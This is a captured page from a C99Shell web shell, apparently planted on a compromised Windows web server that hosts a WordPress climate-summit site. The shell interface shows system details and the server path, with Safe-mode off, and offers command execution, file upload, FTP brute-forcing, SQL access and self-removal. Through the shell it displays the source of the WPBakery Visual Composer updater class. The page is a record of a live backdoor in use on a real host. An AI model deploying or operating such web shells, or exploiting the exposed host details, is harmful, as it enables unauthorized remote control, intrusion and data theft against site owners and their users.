!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\bogotacumbredelclima\wp-content\plugins\js_composer\include\classes\updaters\   drwxrwxrwx
Free 1.02 GB of 239.26 GB (0.43%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-vc-updater.php (3.99 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * WPBakery Visual Composer updater
 *
 * @package WPBakeryVisualComposer
 *
 */

/**
 * Vc updating manager.
 */
class Vc_Updater {
    protected 
$version_url 'http://wpbakery.com/version/?';
    public 
$title 'WPBakery Visual Composer';

    protected 
$auto_updater false;
    protected 
$upgrade_manager false;
    protected 
$iframe false;

    public function 
init() {
        
add_filter('upgrader_pre_download', array($this'upgradeFilterFromEnvato'), 104);
        
add_action('upgrader_process_complete', array($this'removeTemporaryDir'));
    }

    
/**
     * Setter for manager updater.
     *
     * @param Vc_Updating_Manager $updater
     */
    
public function setUpdateManager(Vc_Updating_Manager $updater) {
        
$this->auto_updater $updater;
    }
    
/**
     * Getter for manager updater.
     *
     * @return Vc_Updating_Manager
     */
    
public function updateManager() {
        return 
$this->auto_updater;
    }

    
/**
     * Get url for version validation
     * @return string
     */
    
public function versionUrl() {
        return 
$this->version_url time();
    }
    
/**
     * Downloads new VC from Envato marketplace and unzips into temporary directory.
     *
     * @param $reply
     * @param $package
     * @param $updater
     * @return mixed|string|WP_Error
     */
    
public function upgradeFilterFromEnvato($reply$package$updater) {
        global 
$wp_filesystem;

        if((isset(
$updater->skin->plugin) && $updater->skin->plugin === vc_plugin_name()) ||
          (isset(
$updater->skin->plugin_info) && $updater->skin->plugin_info['Name'] === $this->title)
        ) {
            
$updater->strings['download_envato'] = __'Downloading package from envato market...''js_composer' );
            
$updater->skin->feedback'download_envato' );
            
$package_filename 'js_composer.zip';
            
$res $updater->fs_connect( array( WP_CONTENT_DIR ) );
            if ( ! 
$res ) {
                return new 
WP_Error'no_credentials'__"Error! Can't connect to filesystem"'js_composer' ) );
            }
            
$username vc_settings()->get'envato_username' );
            
$api_key vc_settings()->get'envato_api_key' );
            
$purchase_code vc_settings()->get'js_composer_purchase_code' );
            if ( !
vc_license()->isActivated() || empty( $username ) || empty( $api_key ) || empty( $purchase_code ) ) {
                return new 
WP_Error'no_credentials'__'To receive automatic updates license activation is required. Please visit <a href="' admin_url'options-general.php?page=vc_settings&tab=updater' ) . '' '" target="_blank">Settings</a> to activate your Visual Composer.''js_composer' ) );
            }
            
$json wp_remote_get$this->envatoDownloadPurchaseUrl$username$api_key$purchase_code ) );
            
$result json_decode$json['body'], true );
            if ( ! isset( 
$result['download-purchase']['download_url'] ) ) {
                return new 
WP_Error'no_credentials'__'Error! Envato API error' . ( isset( $result['error'] ) ? ': ' $result['error'] : '.' ), 'js_composer' ) );
            }
            
$result['download-purchase']['download_url'];
            
$download_file download_url$result['download-purchase']['download_url'] );
            if ( 
is_wp_error$download_file ) ) {
                return 
$download_file;
            }
            
$upgrade_folder $wp_filesystem->wp_content_dir() . 'uploads/js_composer_envato_package';
            if ( 
is_dir$upgrade_folder ) ) {
                
$wp_filesystem->delete$upgrade_folder );
            }
            
$result unzip_file$download_file$upgrade_folder );
            if ( 
$result && is_file$upgrade_folder '/' $package_filename ) ) {
                return 
$upgrade_folder '/' $package_filename;
            }
            return new 
WP_Error'no_credentials'__'Error on unzipping package''js_composer' ) );
        }
        return 
$reply;
    }
    public function 
removeTemporaryDir() {
        global 
$wp_filesystem;
        if(
is_dir($wp_filesystem->wp_content_dir() . 'uploads/js_composer_envato_package')) {
            
$wp_filesystem->delete($wp_filesystem->wp_content_dir() . 'uploads/js_composer_envato_package'true);
        }
    }
    protected function 
envatoDownloadPurchaseUrl$username$api_key$purchase_code ) {
        return 
'http://marketplace.envato.com/api/edge/' rawurlencode$username ) . '/' rawurlencode$api_key ) . '/download-purchase:' rawurlencode$purchase_code ) . '.json';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--